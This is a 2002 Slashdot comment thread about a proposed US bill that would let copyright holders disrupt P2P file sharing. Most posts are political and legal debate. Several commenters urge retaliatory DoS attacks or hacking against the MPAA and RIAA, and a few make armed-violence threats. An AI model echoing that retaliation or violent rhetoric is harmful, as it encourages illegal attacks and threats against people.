Slashdot Mirror
MPAA Requests Immunity to Commit Cyber-Crimes
The news has been buzzing around for the last couple of days that Representative Berman, whose palm has been crossed with silver by the entertainment industry, would introduce a bill permitting copyright holders to hack or DoS people allegedly distributing their works without permission. Well, the bill has been introduced - read it and weep. Although the bill wouldn't allow copyright owners to alter or delete files on your machine, they would be allowed to DoS you in essentially any other way. Let me restate that: the MPAA and RIAA are asking that they be allowed to perform what would otherwise be federal and state criminal acts and civil torts, and you will have essentially no remedy against them under any laws of the United States.
Ok, so its open season. Fine. Game on.
If it applies only to big business (RIAA, MPAA, BSA), and not to joe sixpack, it's unconstitutional under the Equal Protection clause of the 14th Amendment.
Oh, and this post is Copyright (c) 2002, by me, "sconeu". I reserve the right to search any and all computers for unauthorized reproductions of this post.
General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
If you've been living under a rock, now is the time to realize how deep it really is in Washington now.
This is complete and utter bullshit. My money stays home if this passes. Anyone read any good books lately?
Heck, i use a dialup and dont even have a static IP.. :)) Fortunate me!!!
The Register is actually looking forward to this becoming law!
None are more hopelessly enslaved than those who falsely believe they are free. Johann Wolfgang von Goethe.
If I deface their servers, I can go to jail.
If they distrupt my internet connection, they get immunity. The hell with buying a CD if this happens. They have a monopoly and are not playing fair. It isnt the consumer's fault that the market that their product is changing all the time.
This is just as ludicrous as if the candlemaking industry would have protested thomas edison inventing the light bulb. They would have thugs with hammers break lights so people just use candles.
DOJ vs RIAA NOW!
Canadian Law? European Law? Russian Law? Japanese Law?
If the screw with my computer, will I be able to sure them senseless since I live in a different country?
Reminds me of the whole X-Files/FEMA conspiracy.
-snevine
"And someone said, 'Fair Warning, Lord.
The young man gone to town.
Turned from hunted into hunter.
Gone to hunt somebody down.'"
-Van Halen
... all the hell will break loose when Lucent Bell Labs will DoS all unix machines? Or virus writers will do DoS legaly -- "It is my virus, they stole and DISTRIBUTE it!!".
and then just wait till MS would do DoS to these nasty pirates...
Sort of like an undercover cop is allowed to partake in illegal activity (like a drug deal) in order to catch the criminal red handed?
Lets face it, if you do illegal activity, you can get spanked. Don't do it.
Right now, as it is, if they did that, they'd still have you nuts in a bind, because they'll simply blackmail you into settling, or else they'll sue the pants off you for your illegal activity.
No need to get your panties in a bind over this. But what am I saying, its michael. Tin-foil hat time!
As of a few days ago if citizen do these same things they can be considered terrorists and subject to a maximum sentance of life in prison. Now who again is being helped by our lawmakers now?
jello.
aka aron.
Aww bloody hell.. there goes the country..
So I should be able to DDoS them in retaliation for tearing down my network...
Man that sucks
But otherwise illegal acts are already carried out by ruling organizations - this already happens and is endorsed on a much wider scale.
For example, the death penalty for serious crimes. It's murder - except when the government do it!
And just look at religion. One of the commandments in Christianity is "you shall not murder". How hypocritical when their own god went and meticulously tortured and killed sections of a whole race of people (the Egyptians.)
Don't be shocked about this. There are many, many occurances of the same sort of thing to show that history does indeed repeat itself.
I wonder at what point the revolt will happen. Something tells me it will be when it's far too late, and anybody trying to be proactive about it will be called a terrorist or something.
When will the American people wake up? It's so blatantly obvious to the rest of the world that your corporations are out of control. When are you going to finally realize it's time to put a leash on them?
Crazy ass bills get introduced EVERY DAY in our gov't. We should be waiting to see what the committee does with this before overreacting. Chances are it wont even make it to a full House debate.
Never mind if this passes, the mere introduction of this bill, let alone the public information here on slashdot, will open a s***storm onto their servers.
This sig no verb.
Where I am allowed to distribute copywrited works for my own profit? I mean, they make alaw that severely limts fair use and then turn around and ask the govt to allow them to violate our privacy?
Where will all of this end? Does the MPAA/RIAA actually need the right to attack individuals over the internet for having an mp3 of Stairway to Heaven on their pc? Is there anything dsl/cable/whatever providers can do to protect their customers from this?
More questions and a film at 11.
If they do not do this, then is it not true that they have proven that they (the senators) are no longer protecting and standing by the principles upon which the united states of america's constitution was written?
What's the purpose of having the right to bear arms again? (rhetorical question)
Its both sad and disturbing that this type of $hit can be gotten away with. There needs to be better ways of bringing these types of evil thing to the light of everyone. I would like to see these puppets in Congress that have the money lined pockets to pass some sorta law where any type of money donation is illegal to them or whatever political party they are a part of so we have unbiased representatives that aren't just looking out for their own good.
Wow, this seems to go against privacy laws. While they are scanning every hard drive for files, are they going to catalog information on your disc or shared drives? Hope they have big freaking storage rooms to get every machines drive copied examination. As for the DoS attacks, are they going jam up networks and piss off the isps or just have your isp pull the plug on you? That would be very uncool, but I could see that happening.
what they are proposing amounts to a dos attack, and if it impacts the operation of an isp, their going to get themselves null routed.
...hello again Fidonet, old friend. How you be? Here, let me help you with that (whatever.)
This had better not pass into law because it's an open invitation to civil war on the net. I can't believe such stupidity makes it this far in Congress, no, wait, yes I can believe it in the context of UCITA, DRM, etc., etc., seemingly ad infinitum.
Everything in the Universe sucks: It's the law!
ME: Yes, my firewall has logged several attempts to break into my system, can you tell me more about this host (xx.xxx.xxx.xxx)? ISP: Oh, that's just the RIAA looking for illegal copies of MP3s on your hard drive. It's ok, they're allowed.
The Canadian Private Copying Collective wants more of your money.
On top of raising existing levys, they want to tax any media that can store copyrighted material. This includes Hard drives and Flash media. While the MPAA is crashing your computer in the US the CPCC is robing you blind every time you buy recordable media.. And how much are the artists getting??? According to reports, after 2 years of the levy being collected NOTHING has been paied to ANY artist.. Theroy has it they are spending all the money lobying for higher levys.
http://www.sycorp.com/levy/index.htm
EA David Gardner -"... but the consumers have proven that actually what they want is fun."
Well, Since i dont live in the USA (Thankfully) this would be against the law.I should report them to their respective ISP's and have their accounts terminated. lol
"We deal in lead" - Roland of Gilead
I have to laugh at the fact Berman is introducing a law that would allow one to be a vigilante. Isn't the purpose of a law is to prevent such a state. Anyhow, a law such as this would produce utter chaos. DOS attacks do not usually affect just the intende site but other sites as well (i.e. sites hosted on shared servers, shared bandwidth, etc.). I hope the rest of Congress will be wise enough to put this bill in the trash.
EOT
the end user is someone on a dialup connection through a small ISP? Wouldn't a dos attack be hurting innocent users as well as the alleged downloader?
What if the DOS or hack the wrong company/person by mistake? Does this mean I can sue them for lost business income, damage and so forth? Hey! they have to be liable for my losses as they have potentially made me liable for theirs!
those who have the influence and/or money and one set of laws for those who don't. Yet another example of legal inequality for corporations. Would this make it possible for me to legally dDos CNN, NY Times, or even Google if they distribute something copyrighted by me?
You can DoS all the p2p kittens you like, and keep on giving capitalism a bad name. Why? Real fsckin' simple:
So... DoS the kittens all you like. But if you DoS me there's no immunity: only vengeance as I show Edmond Dantes how we do things in New York City.
So I can use laws as my tp and customers as my own canteen.
What remedy do they have against us. We copyright holders who have good reason to suspect they are violating our intellectual property rights might just have them wishing they had never persued this stupid legislation.
It is unclear to me what would happen if the MPAA DoS or Hack a computer physically located in another country, where DoS'ing or hacking is illegal. Even if this is legal in the US, remmember , in that case everything (target computer, person, data) is located in a foreign country.
So what would ever happen then ? Logically they would be completly open to a lawsuit in the country where the bad deed happened. And since in a lot of country you have only to deposite a plaint when somebody did something wrong, you don't even have to pay lawyer to sue, the governement do it for you if you have a case (i.e. if somebody did something illegal on your possession).
C. Sagan : A demon haunted world:
http://www.amazon.com/gp/product/0345409469/
visit randi.org
I think it's the duplicity that the government is showing is what everyone has a problem with.
"DoS'ing people is bad. Bad bad bad bad bad. Oh wait a minute... except for them."
It's just another instance of someone trying to have it both ways.
What I want to know is what actions ISP's will take when some IP address somewhere starts flooding a bunch of their cable modem customers with WinNuke packets. After they've traced back to find out that it's legal, what will they do? I'm pretty sure it's also legal for them to blacklist anyone who is 'legally crashing' their customers and causing their helpdesk phones to ring off the hook.
I hate to say it, but the best solution to this is good security. Put up the best firewall you can, and let them bring it on.
MPAA - 'Can we have immunity from laws designed to protect the computer infrastructure and commit damaging acts against networks and computers that don't belong to us?' - Pending
John Ashcroft and Federal LEO's - 'Can we have immunity from the fourth ammendment and commit invasion of privacy against americans?' - Denied up until 9-11, then granted, despite the fact that they already had information about the WTC attacks. Permanent acception is pending the Patriot act's expiration date.
George Bush and Oil Industry CEOs - 'Can we have immunity from laws protecting the environment and virgin wilderness in order to increase our profits and control of the energy industry by drilling in Alaskan wilderness and completely ignoring global warming and any other environmental concerns that are too expensive for us to worry about?' - Pending.
What's next?
Preists - 'Can we have immunity from laws protecting children from molestation and rape so we can get our jollies with 9 year olds?'
Corporate Executives - 'Can we have immunity from laws protecting our investors and the general public so that we can pad our pocketbooks and live lives of luxury?'
Police - 'Can we have immunity from laws protecting citezens from police brutality so that we can beat, maim or kill with impunity?'
The Rich - 'Can we have immunity from laws protecting people from slavery and oppression so that we can further entrench our selves in oligarchy and profit from the abuse of our fellow humans'?
The next Slashdot story will be ready soon, but subscribers can beat the rush and slashdot the links early!
This reminds of reposession, where the repo man can legaly break into peoples home to take back a car or TV they're not keeping up payments for.
I don't really have point other than to point out the similarities. Discuss.
Why don't they get their acts together and start utilizing the amazing distribution methods made available by the internet and digital media, instead of slandering and scandalizing them? It would save us all a lot of time and money.
I'd like to see some massive band like NSYNC or Madonna release one or two songs from their next album as Free Music. Let anyone share, listen, redistribute, etc. What a great way to promote an album!
I challenge the RIAA to try it. Just see if it works. If it bombs, then you've only lost two songs and you never have to do it again. If it works then you can stop investing in DRM technology and make lots of money. And everyone will be happy.
I think that this only illustrates how insanely hard organizations like the MPAA and RIAA are getting hit by the actions of p2p file-sharers. I use p2p methods myself, and I don't agree with the allegations that such sharing methods impair the profits of the recording industry... It is sometimes difficult to remember that we *are* in a digital era, and things less tangible (i.e. files) are being given priority over things more cumbersome (i.e. CD's). Take a look at recent innovations like the iPod, various CD/MP3 player combo devices, and other digital media players. You'll soon see the real reason the MPAA and RIAA are hurting: everyone _else_ is buying in, and they don't want to be left behind. But you've got to wonder: do they really have enough sense in them to successfully DoS someone?
On Slashdot, we don't say "thank you." We say "that's enough..." -_-;
So if you managed to place the files in question on a server which also had some commercial purpose (say, hosting images for an eBay auction) might this trip the $50 limit and allow prosecution or civil action? I am only the son of a lawyer and not one myself, but this seems like a low threshhold for such a bill
But this congressman is a Rep. from CA. His industry base is Hollywood - so you can't really expect him to not be biased. Any other Rep. that gets behind this could be legitimately paid off (or freaken insane), but this CA rep is representing his constituents (for good or bad) and that is his job. Note that im sure the voters (not the industries) in CA aren't for it...
In a quick scan of the summary of the bill I noticed wherever the copyright holder is refered to by a pronoun it is always a her... can't they even try to hide the fact that Hillary Rosen wrote this. Is it to much to ask to try to keep up the facade that our politicians aren't bought.
The MPAA would hire a couple of "consulting" companies to carry out these acts.
These consulting firms would attack and disable some script kiddies computer who is serving MP3s.
So, what does the script kiddie do? He and his bunch of script kiddies go and shut down the offending consulting firms internet connection(s) with a DoS that's about 100 times more massive (because they can use everyone elses poorly protected servers to do it). And that's just if they pick on a teenager in the US.
Say they try and shut down some actual knowledgable hacker in, say, Russia. Wait a second... why are the bank account numbers, credit card numbers, home address and telephone for the head of the MPAA up on MPAA.com? Weird.
My question is, how does this web site even stay up?
I'm sure the script kiddies internet provider will just be pleased as punch that the MPAA just hacked one of it's customers and possibly used a DoS attack to do it (there by degrading the quality of service for all their clients)
Sounds great to me. It'll work like a charm this new law (if passed).
And why does the MPAA sound like a police orginization to me?
From their website:
To battle the problem, in 2000, the MPA launched over 60,000 investigations into suspected pirate activities, and more than 18,000 raids against pirate operations in coordination with local authorities around the world.
The MPAA/MPA directs its worldwide anti-piracy activities from headquarters in Encino, California. Regional offices are also located in Brussels (Europe, Middle and Africa), Mexico (Latin America) Canada and Hong Kong (Asia/Pacific).
Uhmm... that scares me
Casual Games/Downloads
wouldnt this make a better poll option?
Will you be going to your local meetup tonight?
Yes
No
Only if CBN picks my ass up in his rusty el camino!
I sent off this Letter to the Editor to newspapers in Coble's 6th District in North Carolina (Greensboro, High Point, Burlington, Asheboro, Lexington) this morning, before the bill was officially introduced. Hopefully it'll get published in at least one of the papers:
######
To The Editor,
For years, Congress and law enforcement has been telling us about the dangers posed by computer hackers. They have warned computer users about how you should be on guard for the damage that hackers can do to your computer systems.
However, Rep. Howard Coble is preparing to submit a bill in Congress that would grant almost complete immunity to large music and movie companies to hack into your computers, if they have the suspicion that you might be sharing copyrighted files. No proof or involvement by law enforcement will be needed. And what's more, if they damage your computers in this vigilante action, you'll need to prove real damages of over $250 and get the permission of the US Attorney General to file suit against them.
What Rep. Coble is saying is that computer hacking is bad, unless you're a rich corporation with lots of money to provide in campaign donations. The hypocracy of such a bill is stunning. The voters of Congressional District 6 need to decide whether Rep. Coble is looking out for their interests, or Big Hollywood's.
The bill's description of "Peer to Peer" network can easily be applied to any internet connected device. Only one line mentions routing traffic through a central server (and then it speaks of 'routing', not 'serving'), and that only applies if the central computer is in the US.
In short, this lets copyright owners DoS any internet-connected computer, *unless* that computer is sharing files through a central server located in the US. Pretty bizarre.
-EvilMagnus
It WILL be an act of war. Arm yourselves, people. PGP your files and offload to a disconnected machine. And get a firewall. And Nmap. If they do this, we can fight right back and when they do, the government will finally see the error of this bill.
We're Doomed
According to the link Howard Berman was bought by TV/Movies/Music industry for about $187k. For a multi-billion dollar industry that seems like a bargain. Mabye the EFF should start a "Buy a congressman" fund, instead of trying to drag things through court...
Okay, so the issue at hand *should* be on how to punish people who are "illegally distributing copyrighted material."
As much as I want to discuss that, enough people have already made their thoughts known on it.
My question is this. Let's say you have a CD collection that was stolen. Do you have the right to reclaim what was taken? Let's even assume you kept all the receipts, as well as the bill or proof of break-in from your insurance company.
Can you just trot over to Best Buy and say "Ok, my CDs are gone, load me up with new ones!"... I don't think so.
So should you be able to reclaim your losses?
If not, what about keeping a MP3/WMA/OGG/RM copy of your CDs.
Now sure, I can see the MPAA/RIAA arguing against you if you are sharing these out. But where does it stop? If they see you trading LEGAL things, they may hack you anyway and see you have this "illicit collection of materials" on your computer. Then they may launch, worry-free, a DoS on you... even though you had originally owned the CDs they were ripped from.
So is anything like this going to be addressed?
If not, it should be...
"PC Load Letter? What the $@#% does that mean?!"
There are plenty more of us who think that the "5c4|pt k|dd|35" who like to do that kind of shit are useless pricks who need to grow the fuck up, and say, "serves 'em right for being a dumbass" when they get caught.
regardless of that, it's certainly a horrible, abominable thing when the government says "if you do this, you'll go to jail, unless you are a big corporation." this is the most grevious, heinous example of how much the US govt. is controlled by corporate interests.
my pet machine
So - who gets to hack microsoft looking for the source to their TCP/IP implementation in all builds of windows?
"I do not fear computers. I fear lack of them." -Isaac Asimov
We should still be writing our representatives but at the same time I don't really think this bill stands much of a chance. Congress usually understands when they are making something that is on the books illegal into something legal for elite groups. They know that if they pass the bill and it gets some publicity that there will be huge public outcry, probably enough to keep at least some of them from being re-elected.
Even if it passes its obviously unconstitutional and any judge in his right mind will strike it down.
(if it passes the house and goes to the Senate then I'll worry)
The Anti-Blog
I don't agree with this policy to ANY extent, but if the limit of the damage they could do was isolated to ONLY the individual host that was causing the infraction, the problem would be minimal. However, this type of action will also affect the ISP, because they have to handle all the additional traffic. If the infringing files are located on a webhosting system, the MPAA would have to take out the entire system to do any good, and I can guarantee you that the owners of that system will NOT be pleased to find out that they can't even legally prosecute the entity that caused them to be down for two days.
My other thought, does this work both ways? If the MPAA so much as even slightly infringes on someone's copyright, we're allowed to DOS them back into the stoneage... right?
How are they connected to the internet? Or more importantly, what resources do they plan to use for these attacks? Unless they're REALLY huge, and I don't think they are, they will have to use an intermediate ISP of some type. That ISP will be FLOODED with abuse complaints. How long do you think they'll go on supporting this? Imagine that any ISP that connects the MPAA loses 50% of their other customers. How long before the MPAA is unable to get an internet connection at all?
-Restil
Play with my webcams and lights here
Logically it seems impossible to me that they can do anything over the internet that cannot be said to cause economic loss to someone else. In other words, any traffic they put on the internet could be said to cause economic loss to someone, because ultimately someone is paying for that bandwidth.
This bill doesn't seem like a very solid piece of legislation, even for what they want it to allow them to do.
.sigs are for post^Hers.
From the analysis, prepared by Rep. Berman and friends:
"Nor could copyright owners avail themselves of the safe harbor for interdiction efforts on websites, FTP sites, IM services, or IRC channels. The definition is structured so narrowly to ensure that the safe harbor is only available in circumstances in which copyright owners have no effective alternative to technological self-help for addressing infringements."
So does this mean that if it can be shown that the copyright owner could have dealt with the problem in a different way, they'd be liable as if they had no safe harbor?
Why do the MPAA and RIAA receive special recognition in many laws? There are many other types of intellectual property. This bill should apply to all intellectual property holders equaly or be thrown out.
For instance: The RIAA collects a small tax on all blank digital media because digital media is used to copy music. The problem is that digital media is also used to copy software. Why don't software companies receive a cut of the tax as well?
Fair is fair. Either everyone involved gets special treatment or no one gets special treatment. The RIAA and MPAA shouldn't be the only ones with special treatment.
Since this would allow copyright owners to legally hack into peer-to-peer networks, could p2p deisgners make the connection SSH? Or perhaps some other form of encryption. Sure it could still be hacked, but it would take a long, long time and considering the number of p2p users, I doubt it would be worth thier effort.
-Valiss
Yes, let's let private companies commit crimes. Sounds good to me. I mean they are already commiting crimes and if we legalize it, it will save a a lot of money in court costs.
Seriously though, this is a stupid idea. To allow a private company to hack into our computers if the suspect that we have illegal intellectual property on our hard drives!
How is the music industry going to tell the difference between a MP3 that is pirated and a MP3 that is the result of someone exercising his fair use rights?
It seems to me that they have put the horse in front of the cart. They first need to have one of their Senators take away our fair use rights. I would suggest using Senator Hollings from SC. They have already purchased him so they might as well get all the mileage they can from their purchase. (I think he comes with a five outrageous bill guarantee.)
The race isn't always to the swift... but that's the way to bet!
DoS'ing people is bad. Bad bad bad bad bad. Oh wait a minute... except for them."
Well yeah, because the people they're DoS'ing are thieves. They pretty much shouldn't complain about whatever happens to themselves, and acting like they have any moral high ground over anybody else is hilarious.
Loophole: Such DoS attacks harm the ISP.
The bill does include a counterclaim procedure.
In addition, if a studio abuses this privilege, the Attorney General can take the studio to court and get an injunction against the studio from attacking further computers. (This may not apply to Mr. Ashcroft, who has been sympathetic to the studios.)
Will I retire or break 10K?
Big brother is watching you...
With profound apologies to whomsoever this sig originally belonged.
It wouldn't be that hard to find out their IP numbers, mask them on your firewall and change morpheus (KaZaa, whatever) so that they use SSL while transfering stuff.
it's called Product Activation.
Without activating the product and thereby 'proving' you have a legal copy, the OS will stop functioning, which is basically a denial of service.
-- This sig for rent.
...The combination of this new cause of action and pre-existing causes of action will deter copyright owners from using the safe harbor as an excuse to harass file traders, indiscriminately impair the operation of a P2P network, frustrate competitors, or otherwise take
...further limits the safe harbor created by Sec.514(a) by listing specific circumstances in which a copyright owner cannot rely on the safe
any action not encompassed within the safe harbor....
harbor. The safe harbor is unavailable if:
the copyright owner impairs the trading of files that don't contain her copyrighted work, unless such impairment is necessary to impair
the trading of her copyrighted work...
I need some help here. To me it seems that legally they'd only be able to DOS a "trader" if they could do it without limiting the trade on non-copyrighted material. I don't know the law well, and I definately need webster's to read some of this junk, but am I at all in the ballpark?
Some legal expertise might be helpful...
MessEdUp
#/var/www/v
I work for an ISP. RIAA or not, if you try and DoS or DDoS a host on any of my ranges - I don't give a shit who you are - I'll block that ass.
I'm paid to make sure nothing happens to this network.
"I do not fear computers. I fear lack of them." -Isaac Asimov
I think if you discover someone distribution your stuff on a p-p network, you should be able to take reasonable steps to prevent it.
From Berman's statement ...there has been a marked increase in P2P downloads of copyrighted software, games, photographs, karaoke tapes, and movies. Books, graphic designs, newspaper articles, needlepoint designs , and architectural drawings cannot be far behind. (emphasis mine)
Looks like grandma's been "crossing palms with silver" too.
Did the person who wrote the Slashdot editorialization for this story even read the bill?
..."
The very first page says:
"Notwithstanding any State or Federal statute or other law
Which indicates to me that you WOULD have "remedy against them" under whatever laws of the United States existed before this bill.
Furthermore, the bill makes it very clear that the copyright holder can only mess with your computer's ability to transfer copyrighted material, not anything else, and only if it does not adversely impact your computer with regards to anything other than the copyrighted material which is being illegally transferred.
And, far from being "allowed to DoS you in essentially any other way", they could only block, divert, or otherwise impair the UNAUTHORIZED transfer of copyrighted material. Whatever that other way of DoSing you is that you are worried about, it could only be used so long as it interferes only with the unauthorized transfer of copyrighted material. And only if it only causes economic loss to you of less than $50 per impairment to the property of the affected copyright holder, and only if it does not economically or materially impact anyone else.
I would say that this bill simply tries to put forth the notion that they copyright holders ought to be allowed to block illegal transfer of their copyrighted works, within very tight boundaries of conduct which ensures that they do not inadvertently cause any harm to any one else, or even to the illegal transferrer except for impairing their ability to make illegal transfers.
I am not saying that I agree or disagree with this bill, but the editorializer has clearly overstated the scope and effect of this bill. This seems to be a common tactic of those who rabidly defend an anti-copyright position with regards to modern file sharing.
You must be a troll (or a cartel lackey ... the hotmail account should give it away I suppose).
... they are preparing the public consciousness for exactly this event ... having the industry and government thugs come into our personal lives and, in a very personal way, tell us exactly what we can and cannot do.
A lot of people around here think there's no harm in hackers doing that to other people's computers, going so far to squeal when they get "ratted out" by others or end up in court for their actions.
Very few here thing that illegally cracking system security and breaking into computer systems is a "good thing." A fair number of people take exception to the absurd disparity between sentences and the severity of the crime, but few (if any) argue that engaging in this sort of behavior is in any way a positive act.
But when governments and large corporations can go around vandalizing and harming people legally, and the law makes it illegal to defend against such acts (by perhaps doing the same thing) for individuals, then, by any definition, we live under tyranny.
As uncool to say, and as extreme as it sounds, the digital sky is truly falling. Our freedom of expression is under wholesale and organized and concerted attack from both the media cartels and Microsoft, and the tame politicians they have in their pockets, and the reasonable sounding denials of these very stark facts don't make them any less true. We will either wake up and get involved politically and socially, educating our representatives and the lay public about these issues, or, just like the British Crown did with the printing press when it enacted the first iteration of copyright law, we will have the modern, digital equivelent of the printing press taken from us. In other words, our ability to speak and publish freely, and be heard, will be taken from us, and modern general purpose computers as we've come to know them will become a very restricted item.
Even Microsoft is publicly admitting that the end of open computing is at hand
If you are such a lackey, or so blinded by your own petty greed or agenda, that you cannot see this coming, then you will no doubt be getting exactly what you deserve. Unfortunately, the rest of us, who have the observational and congnative skills that exceed those of the common garden slug, will be taken down into the pit along with you.
The Future of Human Evolution: Autonomy
I love it how all these pathetic flag-waving American patriots don't even realize that their entire government is for sale to the highest bidder.
God knows politicians aren't elected to represent the people, they're elected to represent the business.
Ya, ya, offtopic or whatever...the US government still licks my balls.
So if the MPAA/RIAA makes a mistake (mistypes an IP address) and accidentally DOSs an innocent machine (well, we know there are NO innocent machines outside of MPAA/RIAA ones) what recourse do we have? Do we get to charge them with a crime and throw their asses in jail? I doubt it.
Invalid Checksum. Retrying.
well if they dos anyone outside the united states it might be considered an act of war
GoatPigSheep, the 3 most important food groups
There is plenty of room within the existing laws for both these organizations to prevent piracy and safeguard their copyrights. Most people, even in liberal fora like /., consider piracy a crime today.
Such acts will only make these organizations lose their goodwill further and alienate people who are supporting them today.
We cannot enact more and more customized laws to solve problems. We need to effectively enforce the existing ones.
This will result in nothing short of a cyber-war.
All your favorite sites in one place!
Since there is evidence to suggest that Microsoft, among others, has obtained and used open source software in close distributions, we - the upstanding proponents of open source - are duty bound to DoS any and all distributors of said products should this pass.
...
Could be a fun year
The little guy just ain't getting it, is he?
if this law is passed, the RIAA and MPAA will no longer go out of business. However their business will change, how you ask? Well large companies could pay the RIAA and MPAA to DOS people for them and claim, legally, that these people have copyrighted content. In other words the RIAA and MPAA will become corporations that do DOS attacks for money(all of this is discreet of course). This law will only help prove the(already proven) fact that big businesses are indeed above the law in the United States(unfortunately). Of course I don't think that there is a chance in hell this could ever get passed, but the odds are certaintly better than they should be.
It looks like it's about time for all of us freedom loving Americans to move to China. Why? You ask. The Chinese are worse. You say. Well, think again.
1. China doesn't really care about copyrights, so that whole problem would be over with. You can buy DVD's for under 50 cents US on the streets there with no reprocussions.
2. China is pretty blatant about its controls. I can find out if something I do will get me in trouble, because my neighbor and others will get in trouble for it. I'll know what "right" and "wrong" are in my nation.
3. China just overall has better food than the US. Yes, yes, I did eat dog and cow's stomoch and intestines while I was there, but anyone who's ever had some nice, real Chinese food will tell you that China is a wonderful place.
So let's not gripe about copyright craziness and attack of the killer MPAA, let's just jump ship and move to Asia.
Page 5, Line 4
You do have a remedy if they wrongfully attacked you and caused "Economic damages" in excess of $250.
The solution: Make a CD or an independent movie. Offer it for sale. Share it on your machine. If you are DOSed by the MPAA, sue them for lost sales (including sale of distribution rights).
Of course, you would might need to show that you had sales in the first place. I am not a lawyer so I wouldn't know.
I could now DoS them straight to hell.
1;
Fuck these people. If *any* private organization launches attacks at my machine, I will defend myself electronically and fight back. If any LEO shows up at my door for defending myself against these legitimized criminal organizations, well, I'll start excersicing my 2nd ammendment rights how they were meant to be excersiced.
11*43+456^2
People vitness something never achieved on the Interenet before. "Digital goods" in a such huge amount may no longer be available in the future. DoS and other departments are heavily informed by RIAA and taking action in the continental US ... ... and I am sitting here, happily in the good old Europe.
Cheers!
In Hong Kong I've seen billboards with the text "Don't finance crime", and a picture of two teenage punks selling illegal DVD's.
Just wondering, who is really committing the crime?
Now, we all have to ask ourselves the question, "What's better than a nice, big, coushy job where people give you lots of money?" Keeping it, of course. As a member of the media I can tell you that what your Senators and Representatives want, more than anything else, is to be lounging around in Washington D.C. next year.
So, you don't like a bill someone's trying to pass? Write them! You can find contact information for your Representative at
http://www.house.gov/writerep/
And contact information for your Senator at
http://www.senate.gov/contacting/index.cfm.
Tell your friends and family, have them write in as well. A politician is unlikely to support a bill if it is likely to cost him his job.
If you want to see exactly who's been slipping your Representative/Senator money, look it up at www.opensecrets.org
This is not the sig you're looking for
Write your representative online here
Unfortunately for me, my rep is Lamar Smith (R-TX) who is one of the bill's sponsors.
I wrote him yesterday (before I knew he was a sponsor) and made several objectsions to the bill:
1) It's vigilante justice. False positives -- the MPAA and RIAA have a strong market pressure to ignore false positives, because alternative methods of distribution challenge their business model
2) The "digital piracy" problem is not a problem
3) The MPAA and RIAA have subverted the democratic process and the will of the people regarding copyright law
4) Trying to stop file-trading is futile. Free Speech and "Total Control" Copyright are fundamentally incompatible. The People would rather have Free Speech than the MPAA and RIAA.
I wrote him today and told him I would vote against him.
Since I own a little record company you all work for me now...ok?
I can find no mention of it on Thomas, and if I bug my representative without a bill number, his staff's just going to check the "misc. loon" box when I call.
Forward, retransmit, or republish anything I say here. Just don't misquote me.
Please stop and read the bill before you go any further.
The article's claim about DoS-ing you pretty much any way they like is sensationalist and inaccurate. For a start, it refers only to a "publicly accessible peer-to-peer file trading network", and that is carefully defined. It also seems to require that the copyright holder give notification to the DoJ of what they're going to do at least seven days in advance. The affected file trader has various rights to find out what's going on, and to seek compensation if they are unduly damaged economically, etc.
In fact, it basically seems to say that if they can prove you're screwing them, they can DoS you to stop you, under the oversight of the legal system. Is that so unfair?
It's hardly the same as the DoSing that takes down systems that are there for law-abiding reasons, contrary to the "hypocrisy" chant of the slashbots here. They're only worried that they might actually have to pay for something for the first time in their lives anyway. :-)
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Responding with...
This banner is copyright (c) 2002 by Stinky Wizzleteats all rights reserved. Any posession of the materials within this banner makes you subject to the provisions of the Berman Act.
Bend over.
Fine. But how exactly would you do this? The RIAA probably doesn't even use the Internet a great deal, and denying them access probably wouldn't have a tremendous effect, except as perhaps a symbolic gesture. Would you even know what IP addresses to attack? Would you be able to coordinate it? Hell, all the RIAA does these days is make threatening phone calls, write threatening letters, and say threatening statements at press conferences. Will Dossing them make any difference to that? They'll probably just use it to put forward their point that all Internet users are vandals who are trying to steal their IP. Trying to attack them will probably just make their wrath even worse.
But I'm more curious as to how the RIAA itself will DDos us. If there's a million people all using P2P, then they'll need a million machines to DDos them all. Even at only, say, $500 a machine, that's still a cool half-billion dollars. They wouldn't be able to do a Code Red job and infect us with trojans/viruses, since that is technically altering our data. So how exactly will they attack us (or vice versa)?
Note to M1-ers: a curt but otherwise insightful message is not "Flamebait" or "Troll".
First, copyright holders were allowed to take you to civil court for theft of copyrighted material, which was all well and good. Then, the big guys realized that civil proceedings cost them money, so they paid for a law (DMCA) that would make copyright violations a criminal offense so the government would foot the bill. And now that they aren't getting the results they wanted from the government they want to legalize vigilante justice? I guess buying your politicians in bulk really pays off...
do not read this line twice.
Remember folks, the founders of the United States assured private citizens the right to keep and bear arms just for this sort of reason. Government cannot provide extra-legal abilities to private interest groups. We are supposed to treated equally. So unless you and I get the right to hack, DoS or trojan MPAA members and their property, it is unconstitutional. Thomas Jefferson requires you to bust a cap in any mo-fo that tries to deny you your Constitutional rights -- its in that Federalist Papers thingy.
From the 14th:
All persons born or naturalized in the United States, and subject to the jurisdiction thereof, are citizens of the United States and of the State wherein they reside. No State shall make or enforce any law which shall abridge the privileges or immunities of citizens of the United States; nor shall any State deprive any person of life, liberty, or property, without due process of law; nor deny to any person within its jurisdiction the equal protection of the laws.
I'm assuming that the constitution would back up an argument that this makes the assumption that the end user is guilty of something. Hence the right to being assumed innocent goes out the window.
If this passed I'll be surprised.
If this does pass they better make sure those that they DoS are within the US border as they will be breaking laws outside the US if they DoS an IP that's user is actually outside the US.
Syn Ack.
When are these guys going to learn that this is a game in which they are hopelessly outclassed. This bill, if it makes it into law, is going to only provide more reason for people to advance the science of getting around them.
The media fires another shot and the technology gets pushed farther forward by it. Their enemies (or customers depending on how you look at it) are always going to be one step ahead of them in this fight.
It's not that different from the situation faced by the rest of the software world trying to maintain compatibility with Microsoft in order to eek out a living in the software industry. No matter how good you or your products are you are always reduced to playing catch up when they move "forward". It's only reversed here.
When you are big and powerful you are also often slow and easy to see. When you are small and weak you have the advantage of often being quicker and easier to overlook.
Appended to the end of comments you post. 120 chars.
Sure you could use the link above to write in electronically, and that's fine, but you should more or less expect that if you don't write a physical letter then you'll be ignored. It's not always competely true, but it's true enough. If you don't write your rep and this thing passes then you've pretty much forfieted your bitching rights.
Behold the Power of Cheese!
Much better would be if, for the protection of infrastructure, all major ISPs drop packets from ??AA-controlled networks at their borders. Since ISPs are not obligated to carry any traffic other than that of their customers, and they are obligated to their own shareholders to protect and preserve their own infrastructure, they are essentially required to drop traffic from locations they may reasonably expect to be sources of attacks against their own or their customers' networks. Whether the attacks are legal or not, the ISPs still have a compelling business interest in preventing them.
May I suggest that while we are discussing this abomination of a bill here on slashdot we also take the time to open our word processors and write letters to our representatives?
